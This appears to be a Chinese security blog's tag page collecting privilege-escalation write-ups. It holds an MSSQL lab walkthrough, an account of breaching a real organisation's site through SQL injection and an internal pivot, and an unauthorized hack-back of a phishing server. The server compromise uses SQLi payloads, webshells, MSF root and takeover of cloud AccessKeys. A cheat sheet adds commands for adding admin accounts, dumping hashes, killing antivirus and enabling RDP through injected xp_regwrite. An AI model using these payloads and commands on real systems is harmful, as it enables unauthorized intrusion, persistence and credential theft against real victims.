标签 提权 下的文章


faker靶机复现

该靶机来自maze-sec团队

靶机提示

提示:初始凭证db-user:whoami
提示:user的flag在c:/根目录下

因为这台靶机有段时间了 而且是windows的

所以靶机的账号密码要提前修改一下

提示里面刚好有aksk

image.png



登录一下然后修改密码

image.png



提示过期了 所以需要修改一下

image.png



更改成功

现在aksk是

端口扫描

先简单扫一下端口

image.png



得到目标靶机ip为192.168.20.137

image.png



发现存mssql服务 端口为1433

还得到了靶机名与域名等信息

我们现在就用提示给的aksk去授权登录mssql服务

测试mssql

使用imapacket工具中的mssqlclient进行连接

记得一定要跟上-windows-auth

因为提示给的aksk是window账号 不是mssql服务的数据库账号

所以需要通过window账号授权登录

image.png



成功登上mssql服务

这里的密码是我们自己修改后的密码

如果没修改的话是登不上去的

查看当前数据库并查看是否开启了trustworthy

image.png



可以发现有2个数据库开启了trustworthy

什么是trustworthy

image.png



这是一个sqlserver的一个属性

如果开启了这个 就可以访问到外部资源 简单来说就可以使用某些函数或者模块来命令执行访问计算机中的资源 不仅仅是数据库中的资源

当然前提是我们操作的用户得是sysadmin用户

user思路

那么getshell的思路就来了 我们需要一个有sysadmin权限的用户来开启 xp_cmdshell模块

然后使用 xp_cmdshell进行getshell

那么我们要怎么获得有sysadmin权限的用户呢

在mssql中 sysadmin角色登录到数据库中映射的用户默认都是dbo用户

这个dbo的数据库用户可能拥有sysadmin权限

我们先看看faker数据库中的用户

切换到faker数据库

image.png



查看该数据库中的各类权限是否有对应的用户拥有

image.png



不难看出 我们的db-user用户有db_owner权限

还有一个dbo用户

因为我们有db_owner权限 所以我们可以切换当前上下文用户

我们使用execute as user语句进行上下文切换 也就是切换当前数据库用户

我们将当前数据库用户切换为dbo 查看这个用户是否拥有sysadmin权限

image.png



切换成功并且有sysadmin权限

那么我们就可以开启xp_cmdshell来提权了

开启监听

image.png



image.png



image.png



成功拿到shell

根据提示得到flag

image.png



root

在user的flag里面有一个提示

问问ai

image.png



提示我们是sqlserver agent 是sqlserver的代理服务

我们先查看得到的shell的用户有什么权限

再看之前 我们先把这个shell弹到别处优化一下

我这里直接弹到vshell上面了

image.png



开启vshell并生成一个马子

在靶机中下载木马并执行

image.png



成功上线

image.png



我们继续之前的操作

image.png



这个系统用户没什么权限

那么我们只能去看看那个agent

回到mssql中 看看有没有这个服务

切换到master这个系统级的数据库并查询

image.png



确实存在这个代理服务

那么我们现在通过设定定时任务去弹shell

因为我们有dbo这个sysadmin这个角色 所有可以直接设定任务

image.png



image.png



成功得到shell

是另一个服务级用户

一样是传马然后弹到vshell上面

image.png



有一个SeImpersonatePrivilege权限那么我们可以直接使用土豆提权

什么是土豆提权

简单来说就是捕获ntml认证数据包 并篡改数据包的内容 获得system的token 从而以高权限用户那弹shell回来 最终效果就是得到system的shell

只要有SeImpersonatePrivilege权限那么就可以使用土豆提权

上传exp PrintSpoofer64.exe

image.png



image.png



提权成功

记录一次实战稍曲折拿下目标站点的过程。

前期摸点

IIS7.0+ASP.NET的组合,简单尝试发现前台登录页面可能存在SQL注入,数据包如下:
sqli-burp
为了节约时间直接祭出sqlmap,-r x.txt -v 3 --random-agent --dbms=mssql --batch
sqlmap
识别出了数据库,却被不明力量拦截了。

手工尝试绕过不明力量,堆叠的方式利用xp_cmdshell尝试将命令回显从dnslog中带出来:

先开xp_cmdshell:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE
利用dnslog带出回显:EXEC master..xp_cmdshell 'ping xxx.dnslog.cn -n 2'

一顿操作过后发现dnslog没反应,这里可能有几个原因,第一就是被不明力量拦截了,第二是目标不出网,第三可能我们语句构造有问题。是第一个原因的可能性比较大。

曲线救国

放弃注入后,还测试了其他漏洞,都以失败告终。但是目标是一个单位的子域而已,可以从单位的其他站点入手,进入内网后再尝试MS17010、pth等等手段来拿到目标机器权限即可。

于是在历经九九八十一难后,我们终于在目标所属B段中拿到一台机器权限,并使用代理成功进入内网。

遗憾的是拿到的机器是linux服务器,并且内网MS17010都已经打了补丁,fscan扫出来的结果基本无用。如果我们继续拿内网机器权限再利用hash传递攻击尝试的话,且不说密码是否通杀,就时间上也会浪费不少,于是陷入了小小的尴尬境地。

不过我们随即转念一想,大多数的不明力量都会部署在dmz或者在最外层交换机之上,而目前我们在内网中是不是不会受到不明力量影响?思路到此立即掏出sqlmap,再次-r x.txt -v 3 --random-agent --dbms=mssql --batch
sqlmap工具
果然如我们所想,成功注出来了,先看一下权限:

sqlmap查看权限
dba权限,直接os-shell,采用的是堆叠+延时的注入,一个whoami等了将近10分钟的时间,太慢了,还是手注吧。

从whoami的回显得知系统权限为低权限,加用户肯定是行不通了,站库没有分离,直接写个webshell。路径的话在报错的数据包就可以找到,值得注意的是,这里权限是普通用户权限,所以写webshell最好选择上传的目录或图片路径,本人尝试写入根路径浪费了一些时间。

上语句:
%';EXEC xp_cmdshell 'echo "xxx" > D:\xxx\xxx\xxx.aspx' -- -
shell
成功getshell,最后用土豆提权收个尾,战斗结束。
getshell提权

故事起因

这天风和日丽,我正在摸鱼,忽然QQ群弹出一条消息,我打开一看,我感觉不简单。如下图:

扫码后发现跳转到了QQ邮箱登陆界面,确定为钓鱼网站,看到其域名为http://**kak2.cn。


这里随便输入,页面跳转到如下界面。


好家伙,小伙子你挺会玩啊,收集完QQ邮箱账号密码,再来收集一波个人信息,做人不能太贪心啊。开始干活!

溯源钓鱼者

我们现在拿到了他的域名,现在收集一下域名的相关信息。使用站长工具,如下图。

可以查到域名注册人的姓名和邮箱。邮箱显示不全,这里再通过微步来进行一下查询。如下图


这里有两点可以关注一下,这里拿到了完整的邮箱和知道了这里是阿里云的。

进行一下邮箱反查,发现该邮箱下在五六月份注册多个域名,姓名都是刘xx,大概率都是用来钓鱼的。


尝试添加QQ,发现查不到这个人,这就尴尬了。


关于钓鱼者的信息收集就告一段落,接下来开始干它网站。

进攻钓鱼网站

之前我们拿到了域名,现在对网站进行渗透,那思路是什么呢?我们可以进行一下子域名、目录等扫描,如果没什么信息,那就开始对钓鱼网站本身看看有没有能利用的地方。

首先进行一下子域名扫描,没什么发现,如下图:

然后开始对域名进行一下目录扫描,如下图


扫出来的目录,基本没有权限,都是403。没什么利用的点。

现在看来只能对网站本身进行一下渗透了,看看有没有能够利用的。现在打开收集个人信息的表单,按F12看看有没有我们值得关注的,如下:

之前目录扫描发现了uploads目录但是没有权限,这里找到了uploads/ads路径,尝试一下这里路径后端是否接收文件,构造上传数据包,发送数据,还是失败了。如下:

不要灰心,接着搞,我们还发现这里使用了form表单提交数据,然后自定义了一个函数chk(),现在我们跟进这个函数去看一眼。如下

在这里我们能够了解到,网站使用了ajax来进行数据传输,将数据提交到了本站的wap目录,然后身份证号码进行了一下简单的正则判断,规定输入为数字且位数为18位。既然是将数据提交到本站了,那么如果钓鱼者再后端接收数据时直接将参数拼接到SQL语句中,那么就可能存在SQL注入。现在我们构造数据,提交数据,然后抓取数据包来进行测试,抓取的数据包如下:

接下来开始测试是否存在SQL注入,name参数后添加单引号,发送数据,发现报错,存在SQL注入!


猜解一下数据库名,数据库版本,构造payload

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23
and updatexml(1,concat(0x7e,(select @@version,0x7e),1)%23


数据库名是a7,猜解一下表名,构造payload如下

'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='a7')),0)%23

发现无法获取表名,我有一种不详的预感。

果然换用一些其他的函数,发现也是无法获取表名,可能是没有权限。真让人伤心,这个老六。

现在用sqlmap跑一下吧,结果如下

只能跑出来a7这个数据库,information_schema这个库获取不到,怪不得手工注入也拿不到表名呢。唉,现在尝试一下os-shell吧,看看有没有运气。如下


看来运气并不好,失败了。不过,虽然失败了,但是我们也知道了现在的服务器系统为Linux,并且有了路径,我们就把它当成绝对路径吧,死马当活马医,看看能不能写入文件,构造payload:

into outfile '\\www\\wwwroot\\p******7.a******ka.cn\\config\\wap\\test.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23

结果如下,还是失败了。

又尝试了一些其他的方法,发现收获不大。

峰回路转

真的拿不下它服务器了吗?我不信,晚上的时候,事情迎来了转机,当时我正在划水,一条好友申请打破了平静,当我同意时,大哥人狠话不多,直接URL和账号密码发了过来,包括源码的压缩包也扫出来了。在这里给大师傅递根烟。

这里大师傅也给我拓宽了思路,扫目录的时候多尝试几个工具,可能会有不一样的惊喜。访问url使用账号密码登陆,界面如下。

登陆后,我们发现,这是一个帝国备份王的一个开源CMS。当我们知道是开源的时候,首先的思路是网上有没有一些公开的漏洞供我们使用。比如我们可以这样搜索 EmpireBak v2010 后台 RCE,结果如下

红箭头指的这篇文章就很合适,通过看文章,我们也了解了getshell的思路,就是替换文件内容。具体流程就是我们可以先备份数据,然后点击管理备份目录,点击替换文件内容。

思路是有了,但是现在还有问题,就是备份王链接不上mysql,导致备份功能无法使用,但是不着急,这里备份王提供了一个功能,就是参数设置。如下

如果我们知道了数据库的账号密码和数据库名,是不是就可以尝试连接数据库了。所以现在重点是获取数据库账号密码。这如何获取呢?不要忘记了,之前我们拿到了钓鱼网站的源码压缩包,现在来解压来分析一下源码。找一找配置文件,可能有我们需要的信息。源码目录如下

现在尝试找一下数据库的配置文件,如下,果然拿到的我们想要的信息

现在去网站尝试一下看看是否连接成功,果然不出所料,连接成功,如下


现在可以尝试拿shell了。喝口水压压惊,和大师傅同步一下信息,一个人孤军奋战,怎么能抵得上两个人一起日站的快乐呢。

进后台

之前咱们看源码,发现有一个a1文件夹,查看文件夹相关文件,知道这是后台的路径

我们访问一下,发现404


应该是把后台路径改掉了,不要紧,我们简单尝试一下,发现改为a7了,现在访问a7界面如下

还是尝试使用备份王的账号密码,发现登陆成功



后台也就拿下了。查看信息,发现大部分都是脏数据了。再去问大师傅看看他那里有没有什么信息。


登陆师傅提供的地址如下


这里还是有一些数据的,还是有上当受骗的,自己的个人信息被骗完了,最后还输入了自己的手机号,接到了验证码,还把验证码提交到了钓鱼网站。腾讯的防盗机制,二次认证也挡不住钓鱼网站套路多。在这里提醒大家一定要提高警惕,提示输入个人信息的地方一定要留个心眼。

Getshell

现在咱们按照之前的思路Getshell,先压缩,然后将压缩包下载下来。

然后遇到了新的问题,下载下来的文件都是空文件,


没有数据,所以也就无法替换,也就无法Getshell了。这是什么人间疾苦。现在问问大师傅,看看大师傅进行到哪一步了。

看来也卡住了,不要灰心,不要放弃任何一个细节,再去看看备份目录,尝试将最初备份文件下载下来,进行查看。

功夫不负有心人,成功。

到如下界面替换,上面填写原内容,替换内容填入冰蝎木马。

正要尝试替换config.php文件的内容。想着先访问一下,居然出现了大马界面,大师傅先我一步下手了?去问一下

果然是大师傅干的,没想到冰蝎和哥斯拉的马子已经上去了,爱了爱了。上冰蝎,查看文件管理如下

提权之路

上面我们拿到了webshell,完成了第一步,现在开始提权了,冰蝎为我们提供了反弹shell的功能,这里我们使用冰蝎将shell弹到MSF中。去瞅一眼大师傅进度。

这就是大腿的感觉吗?太幸福了。这里说一下提权的思路。msf里面有个可以自动提权的suggester,我们直接选择就可以了,如下


选择第一个后,开始提权!


在这里我们也是成功的拿到了服务器的root权限。如下图


拿到root权限就好办事了,查看账户,也是发现了ssh的端口和账号密码,登陆ssh如下:


因为钓鱼网站是用宝塔搭建的,所以这里看了看宝塔相关信息,包括面板登陆页,账号密码等等。大师傅也是贴心的把拿到的资产都整理好了。


第一个师傅发第一个json文件中有泄露的Access key 我们可以通过使用相关工具直接接管相关服务器。


网上有现成的工具,如下图,工具链接:https://github.com/mrknow001/aliyun-accesskey-Tools

最后,大师傅贴心的总结了文本,爱了。总结了宝塔,phpmyadmin,SSH等相关资产。


小结
关于钓鱼网站的相关内容就分享到这里啦,咱们从最开始的一个Web弱口令,到日穿钓鱼服务器,中间也是几经波折,最后还是幸不辱命。

【1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:windowstempcookiesnet1.exe user

2.当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了。

3.cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com/cmd.txt 都可以。

4.cmd命令:systeminfo,看看有没有KB952004、KB956572、KB970483这三个补丁,如果没有,第一个是pr提权,第二个是巴西烤肉提权,第三个是iis6.0提权。

6.c:windowstempcookies  这个目录

7.找sa密码或是root密码,直接利用大马的文件搜索功能直接搜索,超方便!

8.cmd执行exp没回显的解决方法:com路径那里输入exp路径C:RECYCLERpr.exe,命令那里清空(包括/c )输入”net user jianmei daxia /add”

9.增加用户并提升为管理员权限之后,如果连接不上3389,上传rootkit.asp脚本,访问会提示登录,用提权成功的账号密码登录进去就可以拥有管理员权限了。

10.有时变态监控不让添加用户,可以尝试抓管理哈希值,上传“PwDump7 破解当前管理密码(hash值)”,俩个都上传,执行PwDump7.exe就可以了,之后到网站去解密即可。

11.有时增加不上用户,有可能是密码过于简单或是过于复杂,还有就是杀软的拦截,命令 tasklist 查看进程

12.其实星外提权只要一个可执行的文件即可,先运行一遍cmd,之后把星外ee.exe命名为log.csv 就可以执行了。

13.用wt.asp扫出来的目录,其中红色的文件可以替换成exp,执行命令时cmd那里输入替换的文件路径,下面清空双引号加增加用户的命令。

14.提权很无奈的时候,可以试试TV远控,通杀内外网,穿透防火墙,很强大的。

15.当可读可写目录存在空格的时候,会出现这样的情况:’Cocuments’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。解决办法是利用菜刀的交互shell切换到exp路径,如:Cd Cocuments and SettingsAll UsersApplication DataMicrosoft 目录 然后再执行exp或者cmd,就不会存在上面的情况了,aspshell一般是无法跳转目录的~

16.有时候可以添加用户,但是添加不到管理组,有可能是administrators改名了,net user administrator 看下本地组成员,*administrators

17.进入服务器,可以继续内网渗透  这个时候可以尝试打开路由器 默认帐号密码 admin  admin

18.有的cmd执行很变态,asp马里,cmd路径填上面,下面填:””c:xxxexp.exe “whoami”  记得前面加两个双引号,不行后面也两个,不行就把exp的路径放在cmd那里,下面不变。

19.一般增加不上用户,或是想添加增加用户的vbs,bat,远控小马到服务器的启动项里,用“直接使服务器蓝屏重启的东东”这个工具可以实现,

20.执行PwDump7.exe抓哈希值的时候,建议重定向结果到保存为1.txt /c c:windowstempcookiesPwDump7.exe >1.txt

21.菜刀执行的技巧,上传cmd到可执行目录,右击cmd 虚拟终端,help 然后setp c:windowstempcmd.exe 设置终端路径为:c:windowstempcmd.exe

22.当不支持aspx,或是支持但跨不了目录的时候,可以上传一个读iis的vps,执行命令列出所有网站目录,找到主站的目录就可以跨过去了。 上传cscript.exe到可执行目录,接着上传iispwd.vbs到网站根目录,cmd命令/c “c:windowstempcookiescscript.exe” d:webiispwd.vbs

23.如何辨别服务器是不是内网?
192.168.x.x    172.16.x.x    10.x.x.x

(( dos命令大全 ))
查看版本:ver 查看权限:whoami
查看配置:systeminfo 查看用户:net user
查看进程:tasklist
查看正在运行的服务:tasklist /svc
查看开放的所有端口:netstat -ano
查询管理用户名:query user
查看搭建环境:ftp 127.0.0.1
查看指定服务的路径:sc qc Mysql
添加一个用户:net user jianmei daxia.asd /add
提升到管理权限:net localgroup administrators jianmei /add
添加用户并提升权限:net user jianmei daxia.asd /add & net localgroup administrators jianmei /add
查看制定用户信息:net user jianmei
查看所有管理权限的用户:net localgroup administrators
加入远程桌面用户组:net localgroup “Remote Desktop Users” jianmei /add
突破最大连接数:mstsc /admin /v:127.0.0.1
删除用户:net user jianmei /del
删除管理员账户:net user administrator daxia.asd
更改系统登陆密码:net password daxia.asd
激活GUEST用户:net user guest /active:yes
开启TELNET服务:net start telnet
关闭麦咖啡:net stop “McAfee McShield”
关闭防火墙:net stop sharedaccess
查看当前目录的所有文件:dir c:windows
查看制定文件的内容:type c:windows1.asp
把cmd.exe复制到c:windows的temp目录下并命名为cmd.txt:copy c:windowstempcookiescmd.exe c:windowstempcmd.txt

开3389端口的命令:REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f 查看补丁:dir c:windows>a.txt&(for %i in (KB952004.log KB956572.log KB2393802.log KB2503665.log KB2592799.log KB2621440.log KB2160329.log KB970483.log KB2124261.log KB977165.log KB958644.log) do @type a.txt|@find /i “%i”||@echo %i Not Installed!)&del /f /q /a a.txt (( SQL语句直接开启3389 ))

3389登陆关键注册表位置:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServerDenyTSConnections 其中键值DenyTSConnections 直接控制着3389的开启和关闭,当该键值为0表示3389开启,1则表示关闭。 而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。

开启3389的SQL语句: syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;–

关闭3389的SQL语句: syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal Server’,’fDenyTSConnections’,’REG_DWORD’,1;–
(( 常见杀软 ))

360tray.exe  360实时保护 ZhuDongFangYu.exe  360主动防御 KSafeTray.exe  金山卫士 McAfee McShield.exe  麦咖啡 SafeDogUpdateCenter.exe  服务器安全狗